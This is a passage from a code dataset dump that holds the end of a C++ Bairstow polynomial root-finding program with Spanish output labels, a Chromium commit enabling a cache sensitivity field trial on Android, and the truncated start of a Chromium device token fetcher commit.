(int i = 0; i < grado+1; ++i)\n        {\n            cout << b[i] <<endl;\n        }\n        cout << \"----------\" << endl;\n\n        c[0]= b[0];\n        c[1] = b[1]+(c[0]*r);\n        c[2] = b[2]+(c[1]*r)+(c[0]*s);\n        for (int i = 3; i < grado+1; ++i)\n        {\n            c[i] = b[i] + (c[i-1]*r) + (c[i-2]*s);\n        }\n\n        cout << \"-----c-----\" << endl;\n        for (int i = 0; i < grado+1; ++i)\n        {\n            cout << c[i] <<endl;\n        }\n        cout << \"----------\" << endl;\n\n\n        A = c[grado-2];\n        B = c[grado-3];\n        C = -b[grado-1];\n        P = c[grado-1];\n        Q = c[grado-2];\n        R = -b[grado];\n\n        deltaR = ((C*Q)-(B*R))\/((A*Q)-(P*B));\n        deltaS = ((A*R)-(C*P))\/((A*Q)-(P*B));\n        cout << \"deltaR\" << deltaR << endl;\n        cout << \"deltaS\" << deltaS << endl;\n\n        r += deltaR;\n        s += deltaS;\n        cout << \"nueva r: \" << r <<endl;\n        cout << \"nueva s: \" << s <<endl;\n\n        errorR = abs(deltaR\/r);\n        errorS = abs(deltaS\/s);\n\n        cout << \"ErrorR: \" << errorR << endl;\n        cout << \"ErrorS: \" << errorS << endl;\n\n        counter++;\n    }\n\n    float x1 = (r+sqrt(pow(r,2)+(4*s)))\/2;\n    float x2 = (r-sqrt(pow(r,2)+(4*s)))\/2;\n    cout << \"----RAICES-----\" << endl;\n    cout << \"x1: \" << x1 << endl;\n    cout << \"x2: \" << x2 << endl;\n\n    cout << \"-----FIN-----\" << endl;\n    for (int i = 0; i < grado-1; ++i)\n    {\n        cout << b[i] <<endl;\n    }\n    cout << \"----ITERACIONES-----\" << endl;\n    cout << counter << endl;\n}\n\nint main(){\n    float arreglo[] = {15, -12.8709, 17.9903, -4.78701};\n    int size = sizeof(arreglo)\/sizeof(arreglo[0]);\n    int grado = size-1;\n    cout << \"Grado = \" << grado << endl;\n    float r = -0.526994;\n    float s = 0.413887;\n\n    Bairstow(r,s,arreglo,grado);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chrome_browser_field_trials.h\"\n\n#include <string>\n\n#include \"apps\/field_trial_names.h\"\n#include \"apps\/pref_names.h\"\n#include \"base\/command_line.h\"\n#include \"base\/metrics\/field_trial.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/strings\/string_number_conversions.h\"\n#include \"base\/strings\/sys_string_conversions.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/auto_launch_trial.h\"\n#include \"chrome\/browser\/google\/google_util.h\"\n#include \"chrome\/browser\/gpu\/chrome_gpu_util.h\"\n#include \"chrome\/browser\/omnibox\/omnibox_field_trial.h\"\n#include \"chrome\/browser\/prerender\/prerender_field_trial.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/browser\/safe_browsing\/safe_browsing_blocking_page.h\"\n#include \"chrome\/browser\/ui\/sync\/one_click_signin_helper.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n#include \"chrome\/common\/metrics\/variations\/uniformity_field_trials.h\"\n#include \"chrome\/common\/metrics\/variations\/variations_util.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"net\/spdy\/spdy_session.h\"\n#include \"ui\/base\/layout.h\"\n\n#if defined(OS_WIN)\n#include \"net\/socket\/tcp_client_socket_win.h\"\n#endif  \/\/ defined(OS_WIN)\n\nChromeBrowserFieldTrials::ChromeBrowserFieldTrials(\n    const CommandLine& parsed_command_line)\n    : parsed_command_line_(parsed_command_line) {\n}\n\nChromeBrowserFieldTrials::~ChromeBrowserFieldTrials() {\n}\n\nvoid ChromeBrowserFieldTrials::SetupFieldTrials(PrefService* local_state) {\n  const base::Time install_time = base::Time::FromTimeT(\n      local_state->GetInt64(prefs::kInstallDate));\n  DCHECK(!install_time.is_null());\n  chrome_variations::SetupUniformityFieldTrials(install_time);\n  SetUpSimpleCacheFieldTrial();\n#if !defined(OS_ANDROID) && !defined(OS_IOS)\n  SetupDesktopFieldTrials(local_state);\n#endif  \/\/ defined(OS_ANDROID)\n\n#if defined(OS_ANDROID) || defined(OS_IOS)\n  SetupMobileFieldTrials();\n#endif  \/\/ defined(OS_ANDROID) || defined(OS_IOS)\n}\n\n\n#if defined(OS_ANDROID) || defined(OS_IOS)\nvoid ChromeBrowserFieldTrials::SetupMobileFieldTrials() {\n  DataCompressionProxyFieldTrial();\n}\n\n\/\/ Governs the rollout of the compression proxy for Chrome on mobile platforms.\n\/\/ Always enabled in DEV and BETA versions.\n\/\/ Stable percentage will be controlled from server.\nvoid ChromeBrowserFieldTrials::DataCompressionProxyFieldTrial() {\n  const char kDataCompressionProxyFieldTrialName[] =\n      \"DataCompressionProxyRollout\";\n  const base::FieldTrial::Probability kDataCompressionProxyDivisor = 1000;\n\n  \/\/ 10\/1000 = 1% for starters.\n  const base::FieldTrial::Probability kDataCompressionProxyStable = 10;\n  const char kEnabled[] = \"Enabled\";\n  const char kDisabled[] = \"Disabled\";\n\n  \/\/ Find out if this is a stable channel.\n  const bool kIsStableChannel =\n      chrome::VersionInfo::GetChannel() == chrome::VersionInfo::CHANNEL_STABLE;\n\n  \/\/ Experiment enabled until Jan 1, 2015. By default, disabled.\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\n          kDataCompressionProxyFieldTrialName, kDataCompressionProxyDivisor,\n          kDisabled, 2015, 1, 1, NULL));\n\n  \/\/ We want our trial results to be persistent.\n  trial->UseOneTimeRandomization();\n  \/\/ Non-stable channels will run with probability 1.\n  const int kEnabledGroup = trial->AppendGroup(\n      kEnabled,\n      kIsStableChannel ?\n          kDataCompressionProxyStable : kDataCompressionProxyDivisor);\n\n  const int v = trial->group();\n  VLOG(1) << \"DataCompression proxy enabled group id: \" << kEnabledGroup\n          << \". Selected group id: \" << v;\n}\n#endif  \/\/ defined(OS_ANDROID) || defined(OS_IOS)\n\nvoid ChromeBrowserFieldTrials::SetupDesktopFieldTrials(\n    PrefService* local_state) {\n  prerender::ConfigurePrefetchAndPrerender(parsed_command_line_);\n  SpdyFieldTrial();\n  AutoLaunchChromeFieldTrial();\n  gpu_util::InitializeCompositingFieldTrial();\n  OmniboxFieldTrial::ActivateStaticTrials();\n  SetUpInfiniteCacheFieldTrial();\n  SetUpCacheSensitivityAnalysisFieldTrial();\n  DisableShowProfileSwitcherTrialIfNecessary();\n  WindowsOverlappedTCPReadsFieldTrial();\n#if defined(ENABLE_ONE_CLICK_SIGNIN)\n  OneClickSigninHelper::InitializeFieldTrial();\n#endif\n  InstantiateDynamicTrials();\n  SetupAppLauncherFieldTrial(local_state);\n}\n\nvoid ChromeBrowserFieldTrials::SetupAppLauncherFieldTrial(\n    PrefService* local_state) {\n  if (base::FieldTrialList::FindFullName(apps::kLauncherPromoTrialName) ==\n      apps::kResetShowLauncherPromoPrefGroupName) {\n    local_state->SetBoolean(apps::prefs::kShowAppLauncherPromo, true);\n  }\n}\n\n\/\/ When --use-spdy not set, users will be in A\/B test for spdy.\n\/\/ group A (npn_with_spdy): this means npn and spdy are enabled. In case server\n\/\/                          supports spdy, browser will use spdy.\n\/\/ group B (npn_with_http): this means npn is enabled but spdy won't be used.\n\/\/                          Http is still used for all requests.\n\/\/           default group: no npn or spdy is involved. The \"old\" non-spdy\n\/\/                          chrome behavior.\nvoid ChromeBrowserFieldTrials::SpdyFieldTrial() {\n  \/\/ Setup SPDY CWND Field trial.\n  const base::FieldTrial::Probability kSpdyCwndDivisor = 100;\n  const base::FieldTrial::Probability kSpdyCwnd16 = 20;     \/\/ fixed at 16\n  const base::FieldTrial::Probability kSpdyCwnd10 = 20;     \/\/ fixed at 10\n  const base::FieldTrial::Probability kSpdyCwndMin16 = 20;  \/\/ no less than 16\n  const base::FieldTrial::Probability kSpdyCwndMin10 = 20;  \/\/ no less than 10\n\n  \/\/ After June 30, 2013 builds, it will always be in default group\n  \/\/ (cwndDynamic).\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\n          \"SpdyCwnd\", kSpdyCwndDivisor, \"cwndDynamic\", 2013, 6, 30, NULL));\n\n  trial->AppendGroup(\"cwnd10\", kSpdyCwnd10);\n  trial->AppendGroup(\"cwnd16\", kSpdyCwnd16);\n  trial->AppendGroup(\"cwndMin16\", kSpdyCwndMin16);\n  trial->AppendGroup(\"cwndMin10\", kSpdyCwndMin10);\n}\n\nvoid ChromeBrowserFieldTrials::AutoLaunchChromeFieldTrial() {\n  std::string brand;\n  google_util::GetBrand(&brand);\n\n  \/\/ Create a 100% field trial based on the brand code.\n  if (auto_launch_trial::IsInExperimentGroup(brand)) {\n    base::FieldTrialList::CreateFieldTrial(kAutoLaunchTrialName,\n                                           kAutoLaunchTrialAutoLaunchGroup);\n  } else if (auto_launch_trial::IsInControlGroup(brand)) {\n    base::FieldTrialList::CreateFieldTrial(kAutoLaunchTrialName,\n                                           kAutoLaunchTrialControlGroup);\n  }\n}\n\nvoid ChromeBrowserFieldTrials::SetUpInfiniteCacheFieldTrial() {\n  const base::FieldTrial::Probability kDivisor = 100;\n\n  base::FieldTrial::Probability infinite_cache_probability = 0;\n\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\"InfiniteCache\", kDivisor,\n                                                 \"No\", 2013, 12, 31, NULL));\n  trial->UseOneTimeRandomization();\n  trial->AppendGroup(\"Yes\", infinite_cache_probability);\n  trial->AppendGroup(\"Control\", infinite_cache_probability);\n}\n\nvoid ChromeBrowserFieldTrials::DisableShowProfileSwitcherTrialIfNecessary() {\n  \/\/ This trial is created by the VariationsService, but it needs to be disabled\n  \/\/ if multi-profiles isn't enabled or if browser frame avatar menu is\n  \/\/ always hidden (Chrome OS).\n  bool avatar_menu_always_hidden = false;\n#if defined(OS_CHROMEOS)\n  avatar_menu_always_hidden = true;\n#endif\n  base::FieldTrial* trial = base::FieldTrialList::Find(\"ShowProfileSwitcher\");\n  if (trial && (!ProfileManager::IsMultipleProfilesEnabled() ||\n                avatar_menu_always_hidden)) {\n    trial->Disable();\n  }\n}\n\n\/\/ Sets up the experiment. The actual cache backend choice is made in the net\/\n\/\/ internals by looking at the experiment state.\nvoid ChromeBrowserFieldTrials::SetUpSimpleCacheFieldTrial() {\n  if (parsed_command_line_.HasSwitch(switches::kUseSimpleCacheBackend)) {\n    const std::string opt_value = parsed_command_line_.GetSwitchValueASCII(\n        switches::kUseSimpleCacheBackend);\n    if (LowerCaseEqualsASCII(opt_value, \"off\")) {\n      \/\/ This is the default.\n      return;\n    }\n    const base::FieldTrial::Probability kDivisor = 100;\n    scoped_refptr<base::FieldTrial> trial(\n        base::FieldTrialList::FactoryGetFieldTrial(\"SimpleCacheTrial\", kDivisor,\n                                                   \"No\", 2013, 12, 31, NULL));\n    trial->UseOneTimeRandomization();\n    if (LowerCaseEqualsASCII(opt_value, \"on\")) {\n      trial->AppendGroup(\"Yes\", 100);\n      return;\n    }\n#if defined(OS_ANDROID)\n    if (LowerCaseEqualsASCII(opt_value, \"experiment\")) {\n      \/\/ TODO(pasko): Make this the default on Android when the simple cache\n      \/\/ adds a few more necessary features. Also adjust the probability.\n      const base::FieldTrial::Probability kSimpleCacheProbability = 1;\n      trial->AppendGroup(\"Yes\", kSimpleCacheProbability);\n      trial->AppendGroup(\"Control\", kSimpleCacheProbability);\n      trial->group();\n    }\n#endif\n  }\n}\n\nvoid ChromeBrowserFieldTrials::SetUpCacheSensitivityAnalysisFieldTrial() {\n  const base::FieldTrial::Probability kDivisor = 100;\n\n  base::FieldTrial::Probability sensitivity_analysis_probability = 0;\n\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\"CacheSensitivityAnalysis\",\n                                                 kDivisor, \"No\",\n                                                 2012, 12, 31, NULL));\n  trial->AppendGroup(\"ControlA\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"ControlB\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"100A\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"100B\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"200A\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"200B\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"400A\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"400B\", sensitivity_analysis_probability);\n}\n\nvoid ChromeBrowserFieldTrials::WindowsOverlappedTCPReadsFieldTrial() {\n#if defined(OS_WIN)\n  if (parsed_command_line_.HasSwitch(switches::kOverlappedRead)) {\n    std::string option =\n        parsed_command_line_.GetSwitchValueASCII(switches::kOverlappedRead);\n    if (LowerCaseEqualsASCII(option, \"off\"))\n      net::TCPClientSocketWin::DisableOverlappedReads();\n  } else {\n    const base::FieldTrial::Probability kDivisor = 2;  \/\/ 1 in 2 chance\n    const base::FieldTrial::Probability kOverlappedReadProbability = 1;\n    scoped_refptr<base::FieldTrial> overlapped_reads_trial(\n        base::FieldTrialList::FactoryGetFieldTrial(\"OverlappedReadImpact\",\n            kDivisor, \"OverlappedReadEnabled\", 2013, 6, 1, NULL));\n    int overlapped_reads_disabled_group =\n        overlapped_reads_trial->AppendGroup(\"OverlappedReadDisabled\",\n                                            kOverlappedReadProbability);\n    int assigned_group = overlapped_reads_trial->group();\n    if (assigned_group == overlapped_reads_disabled_group)\n      net::TCPClientSocketWin::DisableOverlappedReads();\n  }\n#endif\n}\n\nvoid ChromeBrowserFieldTrials::InstantiateDynamicTrials() {\n  \/\/ Call |FindValue()| on the trials below, which may come from the server, to\n  \/\/ ensure they get marked as \"used\" for the purposes of data reporting.\n  base::FieldTrialList::FindValue(\"UMA-Dynamic-Binary-Uniformity-Trial\");\n  base::FieldTrialList::FindValue(\"UMA-Dynamic-Uniformity-Trial\");\n  base::FieldTrialList::FindValue(\"InstantDummy\");\n  base::FieldTrialList::FindValue(\"InstantChannel\");\n  base::FieldTrialList::FindValue(\"Test0PercentDefault\");\n  \/\/ Activate the autocomplete dynamic field trials.\n  OmniboxFieldTrial::ActivateDynamicTrials();\n}\n<commit_msg>Enable cache sensitivity experiment in Android.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chrome_browser_field_trials.h\"\n\n#include <string>\n\n#include \"apps\/field_trial_names.h\"\n#include \"apps\/pref_names.h\"\n#include \"base\/command_line.h\"\n#include \"base\/metrics\/field_trial.h\"\n#include \"base\/prefs\/pref_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/strings\/string_number_conversions.h\"\n#include \"base\/strings\/sys_string_conversions.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/auto_launch_trial.h\"\n#include \"chrome\/browser\/google\/google_util.h\"\n#include \"chrome\/browser\/gpu\/chrome_gpu_util.h\"\n#include \"chrome\/browser\/omnibox\/omnibox_field_trial.h\"\n#include \"chrome\/browser\/prerender\/prerender_field_trial.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/browser\/safe_browsing\/safe_browsing_blocking_page.h\"\n#include \"chrome\/browser\/ui\/sync\/one_click_signin_helper.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n#include \"chrome\/common\/metrics\/variations\/uniformity_field_trials.h\"\n#include \"chrome\/common\/metrics\/variations\/variations_util.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"net\/spdy\/spdy_session.h\"\n#include \"ui\/base\/layout.h\"\n\n#if defined(OS_WIN)\n#include \"net\/socket\/tcp_client_socket_win.h\"\n#endif  \/\/ defined(OS_WIN)\n\nChromeBrowserFieldTrials::ChromeBrowserFieldTrials(\n    const CommandLine& parsed_command_line)\n    : parsed_command_line_(parsed_command_line) {\n}\n\nChromeBrowserFieldTrials::~ChromeBrowserFieldTrials() {\n}\n\nvoid ChromeBrowserFieldTrials::SetupFieldTrials(PrefService* local_state) {\n  const base::Time install_time = base::Time::FromTimeT(\n      local_state->GetInt64(prefs::kInstallDate));\n  DCHECK(!install_time.is_null());\n  chrome_variations::SetupUniformityFieldTrials(install_time);\n  SetUpSimpleCacheFieldTrial();\n#if !defined(OS_ANDROID) && !defined(OS_IOS)\n  SetupDesktopFieldTrials(local_state);\n#endif  \/\/ defined(OS_ANDROID)\n\n#if defined(OS_ANDROID) || defined(OS_IOS)\n  SetupMobileFieldTrials();\n#endif  \/\/ defined(OS_ANDROID) || defined(OS_IOS)\n}\n\n\n#if defined(OS_ANDROID) || defined(OS_IOS)\nvoid ChromeBrowserFieldTrials::SetupMobileFieldTrials() {\n  DataCompressionProxyFieldTrial();\n}\n\n\/\/ Governs the rollout of the compression proxy for Chrome on mobile platforms.\n\/\/ Always enabled in DEV and BETA versions.\n\/\/ Stable percentage will be controlled from server.\nvoid ChromeBrowserFieldTrials::DataCompressionProxyFieldTrial() {\n  const char kDataCompressionProxyFieldTrialName[] =\n      \"DataCompressionProxyRollout\";\n  const base::FieldTrial::Probability kDataCompressionProxyDivisor = 1000;\n\n  \/\/ 10\/1000 = 1% for starters.\n  const base::FieldTrial::Probability kDataCompressionProxyStable = 10;\n  const char kEnabled[] = \"Enabled\";\n  const char kDisabled[] = \"Disabled\";\n\n  \/\/ Find out if this is a stable channel.\n  const bool kIsStableChannel =\n      chrome::VersionInfo::GetChannel() == chrome::VersionInfo::CHANNEL_STABLE;\n\n  \/\/ Experiment enabled until Jan 1, 2015. By default, disabled.\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\n          kDataCompressionProxyFieldTrialName, kDataCompressionProxyDivisor,\n          kDisabled, 2015, 1, 1, NULL));\n\n  \/\/ We want our trial results to be persistent.\n  trial->UseOneTimeRandomization();\n  \/\/ Non-stable channels will run with probability 1.\n  const int kEnabledGroup = trial->AppendGroup(\n      kEnabled,\n      kIsStableChannel ?\n          kDataCompressionProxyStable : kDataCompressionProxyDivisor);\n\n  const int v = trial->group();\n  VLOG(1) << \"DataCompression proxy enabled group id: \" << kEnabledGroup\n          << \". Selected group id: \" << v;\n}\n#endif  \/\/ defined(OS_ANDROID) || defined(OS_IOS)\n\nvoid ChromeBrowserFieldTrials::SetupDesktopFieldTrials(\n    PrefService* local_state) {\n  prerender::ConfigurePrefetchAndPrerender(parsed_command_line_);\n  SpdyFieldTrial();\n  AutoLaunchChromeFieldTrial();\n  gpu_util::InitializeCompositingFieldTrial();\n  OmniboxFieldTrial::ActivateStaticTrials();\n  SetUpInfiniteCacheFieldTrial();\n  SetUpCacheSensitivityAnalysisFieldTrial();\n  DisableShowProfileSwitcherTrialIfNecessary();\n  WindowsOverlappedTCPReadsFieldTrial();\n#if defined(ENABLE_ONE_CLICK_SIGNIN)\n  OneClickSigninHelper::InitializeFieldTrial();\n#endif\n  InstantiateDynamicTrials();\n  SetupAppLauncherFieldTrial(local_state);\n}\n\nvoid ChromeBrowserFieldTrials::SetupAppLauncherFieldTrial(\n    PrefService* local_state) {\n  if (base::FieldTrialList::FindFullName(apps::kLauncherPromoTrialName) ==\n      apps::kResetShowLauncherPromoPrefGroupName) {\n    local_state->SetBoolean(apps::prefs::kShowAppLauncherPromo, true);\n  }\n}\n\n\/\/ When --use-spdy not set, users will be in A\/B test for spdy.\n\/\/ group A (npn_with_spdy): this means npn and spdy are enabled. In case server\n\/\/                          supports spdy, browser will use spdy.\n\/\/ group B (npn_with_http): this means npn is enabled but spdy won't be used.\n\/\/                          Http is still used for all requests.\n\/\/           default group: no npn or spdy is involved. The \"old\" non-spdy\n\/\/                          chrome behavior.\nvoid ChromeBrowserFieldTrials::SpdyFieldTrial() {\n  \/\/ Setup SPDY CWND Field trial.\n  const base::FieldTrial::Probability kSpdyCwndDivisor = 100;\n  const base::FieldTrial::Probability kSpdyCwnd16 = 20;     \/\/ fixed at 16\n  const base::FieldTrial::Probability kSpdyCwnd10 = 20;     \/\/ fixed at 10\n  const base::FieldTrial::Probability kSpdyCwndMin16 = 20;  \/\/ no less than 16\n  const base::FieldTrial::Probability kSpdyCwndMin10 = 20;  \/\/ no less than 10\n\n  \/\/ After June 30, 2013 builds, it will always be in default group\n  \/\/ (cwndDynamic).\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\n          \"SpdyCwnd\", kSpdyCwndDivisor, \"cwndDynamic\", 2013, 6, 30, NULL));\n\n  trial->AppendGroup(\"cwnd10\", kSpdyCwnd10);\n  trial->AppendGroup(\"cwnd16\", kSpdyCwnd16);\n  trial->AppendGroup(\"cwndMin16\", kSpdyCwndMin16);\n  trial->AppendGroup(\"cwndMin10\", kSpdyCwndMin10);\n}\n\nvoid ChromeBrowserFieldTrials::AutoLaunchChromeFieldTrial() {\n  std::string brand;\n  google_util::GetBrand(&brand);\n\n  \/\/ Create a 100% field trial based on the brand code.\n  if (auto_launch_trial::IsInExperimentGroup(brand)) {\n    base::FieldTrialList::CreateFieldTrial(kAutoLaunchTrialName,\n                                           kAutoLaunchTrialAutoLaunchGroup);\n  } else if (auto_launch_trial::IsInControlGroup(brand)) {\n    base::FieldTrialList::CreateFieldTrial(kAutoLaunchTrialName,\n                                           kAutoLaunchTrialControlGroup);\n  }\n}\n\nvoid ChromeBrowserFieldTrials::SetUpInfiniteCacheFieldTrial() {\n  const base::FieldTrial::Probability kDivisor = 100;\n\n  base::FieldTrial::Probability infinite_cache_probability = 0;\n\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\"InfiniteCache\", kDivisor,\n                                                 \"No\", 2013, 12, 31, NULL));\n  trial->UseOneTimeRandomization();\n  trial->AppendGroup(\"Yes\", infinite_cache_probability);\n  trial->AppendGroup(\"Control\", infinite_cache_probability);\n}\n\nvoid ChromeBrowserFieldTrials::DisableShowProfileSwitcherTrialIfNecessary() {\n  \/\/ This trial is created by the VariationsService, but it needs to be disabled\n  \/\/ if multi-profiles isn't enabled or if browser frame avatar menu is\n  \/\/ always hidden (Chrome OS).\n  bool avatar_menu_always_hidden = false;\n#if defined(OS_CHROMEOS)\n  avatar_menu_always_hidden = true;\n#endif\n  base::FieldTrial* trial = base::FieldTrialList::Find(\"ShowProfileSwitcher\");\n  if (trial && (!ProfileManager::IsMultipleProfilesEnabled() ||\n                avatar_menu_always_hidden)) {\n    trial->Disable();\n  }\n}\n\n\/\/ Sets up the experiment. The actual cache backend choice is made in the net\/\n\/\/ internals by looking at the experiment state.\nvoid ChromeBrowserFieldTrials::SetUpSimpleCacheFieldTrial() {\n  if (parsed_command_line_.HasSwitch(switches::kUseSimpleCacheBackend)) {\n    const std::string opt_value = parsed_command_line_.GetSwitchValueASCII(\n        switches::kUseSimpleCacheBackend);\n    if (LowerCaseEqualsASCII(opt_value, \"off\")) {\n      \/\/ This is the default.\n      return;\n    }\n    const base::FieldTrial::Probability kDivisor = 100;\n    scoped_refptr<base::FieldTrial> trial(\n        base::FieldTrialList::FactoryGetFieldTrial(\"SimpleCacheTrial\", kDivisor,\n                                                   \"No\", 2013, 12, 31, NULL));\n    trial->UseOneTimeRandomization();\n    if (LowerCaseEqualsASCII(opt_value, \"on\")) {\n      trial->AppendGroup(\"Yes\", 100);\n      return;\n    }\n#if defined(OS_ANDROID)\n    if (LowerCaseEqualsASCII(opt_value, \"experiment\")) {\n      \/\/ TODO(pasko): Make this the default on Android when the simple cache\n      \/\/ adds a few more necessary features. Also adjust the probability.\n      const base::FieldTrial::Probability kSimpleCacheProbability = 1;\n      trial->AppendGroup(\"Yes\", kSimpleCacheProbability);\n      trial->AppendGroup(\"Control\", kSimpleCacheProbability);\n      trial->group();\n    }\n#endif\n  }\n}\n\nvoid ChromeBrowserFieldTrials::SetUpCacheSensitivityAnalysisFieldTrial() {\n  const base::FieldTrial::Probability kDivisor = 100;\n\n  base::FieldTrial::Probability sensitivity_analysis_probability = 0;\n\n#if defined(OS_ANDROID)\n  switch (chrome::VersionInfo::GetChannel()) {\n    case chrome::VersionInfo::CHANNEL_DEV:\n      sensitivity_analysis_probability = 10;\n      break;\n    case chrome::VersionInfo::CHANNEL_BETA:\n      sensitivity_analysis_probability = 5;\n      break;\n    case chrome::VersionInfo::CHANNEL_STABLE:\n      sensitivity_analysis_probability = 1;\n      break;\n    default:\n      break;\n  }\n#endif\n\n  scoped_refptr<base::FieldTrial> trial(\n      base::FieldTrialList::FactoryGetFieldTrial(\"CacheSensitivityAnalysis\",\n                                                 kDivisor, \"No\",\n                                                 2013, 06, 15, NULL));\n  trial->AppendGroup(\"ControlA\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"ControlB\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"100A\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"100B\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"200A\", sensitivity_analysis_probability);\n  trial->AppendGroup(\"200B\", sensitivity_analysis_probability);\n  \/\/ TODO(gavinp,rvargas): Re-add 400 group to field trial if results justify.\n}\n\nvoid ChromeBrowserFieldTrials::WindowsOverlappedTCPReadsFieldTrial() {\n#if defined(OS_WIN)\n  if (parsed_command_line_.HasSwitch(switches::kOverlappedRead)) {\n    std::string option =\n        parsed_command_line_.GetSwitchValueASCII(switches::kOverlappedRead);\n    if (LowerCaseEqualsASCII(option, \"off\"))\n      net::TCPClientSocketWin::DisableOverlappedReads();\n  } else {\n    const base::FieldTrial::Probability kDivisor = 2;  \/\/ 1 in 2 chance\n    const base::FieldTrial::Probability kOverlappedReadProbability = 1;\n    scoped_refptr<base::FieldTrial> overlapped_reads_trial(\n        base::FieldTrialList::FactoryGetFieldTrial(\"OverlappedReadImpact\",\n            kDivisor, \"OverlappedReadEnabled\", 2013, 6, 1, NULL));\n    int overlapped_reads_disabled_group =\n        overlapped_reads_trial->AppendGroup(\"OverlappedReadDisabled\",\n                                            kOverlappedReadProbability);\n    int assigned_group = overlapped_reads_trial->group();\n    if (assigned_group == overlapped_reads_disabled_group)\n      net::TCPClientSocketWin::DisableOverlappedReads();\n  }\n#endif\n}\n\nvoid ChromeBrowserFieldTrials::InstantiateDynamicTrials() {\n  \/\/ Call |FindValue()| on the trials below, which may come from the server, to\n  \/\/ ensure they get marked as \"used\" for the purposes of data reporting.\n  base::FieldTrialList::FindValue(\"UMA-Dynamic-Binary-Uniformity-Trial\");\n  base::FieldTrialList::FindValue(\"UMA-Dynamic-Uniformity-Trial\");\n  base::FieldTrialList::FindValue(\"InstantDummy\");\n  base::FieldTrialList::FindValue(\"InstantChannel\");\n  base::FieldTrialList::FindValue(\"Test0PercentDefault\");\n  \/\/ Activate the autocomplete dynamic field trials.\n  OmniboxFieldTrial::ActivateDynamicTrials();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/policy\/device_token_fetcher.h\"\n\n#include <algorithm>\n\n#include \"base\/message_loop.h\"\n#include \"chrome\/browser\/policy\/cloud_policy_cache.h\"\n#include \"chrome\/browser\/policy\/device_management_service.h\"\n#include \"chrome\/browser\/policy\/proto\/device_management_constants.h\"\n#include \"chrome\/browser\/policy\/proto\/device_management_local.pb.h\"\n\nnamespace {\n\n\/\/ Retry after 3 seconds (with exponential backoff) after token fetch errors.\nconst int64 kTokenFetchErrorDelayMilliseconds = 3 * 1000;\n\/\/ For unmanaged devices, check once per day whether they're still unmanaged.\nconst int64 kUnmanagedDeviceRefreshRateMilliseconds = 24 * 60 * 60 * 1000;\n\n}  \/\/ namespace\n\nnamespace policy {\n\nnamespace em = enterprise_management;\n\nDeviceTokenFetcher::DeviceTokenFetcher(\n    DeviceManagementService* service,\n    CloudPolicyCache* cache)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(method_factory_(this)) {\n  Initialize(service,\n             cache,\n             kTokenFetchErrorDelayMilliseconds,\n             kUnmanagedDeviceRefreshRateMilliseconds);\n}\n\nDeviceTokenFetcher::DeviceTokenFetcher(\n    DeviceManagementService* service,\n    CloudPolicyCache* cache,\n    int64 token_fetch_error_delay_ms,\n    int64 unmanaged_device_refresh_rate_ms)\n    : ALLOW_THIS_IN_INITIALIZER_LIST(method_factory_(this)) {\n  Initialize(service,\n             cache,\n             token_fetch_error_delay_ms,\n             unmanaged_device_refresh_rate_ms);\n}\n\nDeviceTokenFetcher::~DeviceTokenFetcher() {\n  CancelRetryTask();\n}\n\nvoid DeviceTokenFetcher::FetchToken(\n    const std::string& auth_token,\n    const std::string& device_id,\n    em::DeviceRegisterRequest_Type policy_type,\n    const std::string& machine_id) {\n  SetState(STATE_INACTIVE);\n  auth_token_ = auth_token;\n  device_id_ = device_id;\n  policy_type_ = policy_type;\n  machine_id_ = machine_id;\n  FetchTokenInternal();\n}\n\nvoid DeviceTokenFetcher::FetchTokenInternal() {\n  DCHECK(state_ != STATE_TOKEN_AVAILABLE);\n  DCHECK(!auth_token_.empty() && !device_id_.empty());\n  \/\/ Construct a new backend, which will discard any previous requests.\n  backend_.reset(service_->CreateBackend());\n  em::DeviceRegisterRequest request;\n  request.set_type(policy_type_);\n  if (!machine_id_.empty())\n    request.set_machine_id(machine_id_);\n  request.set_machine_model(kRegisterRequestMachineModel);\n  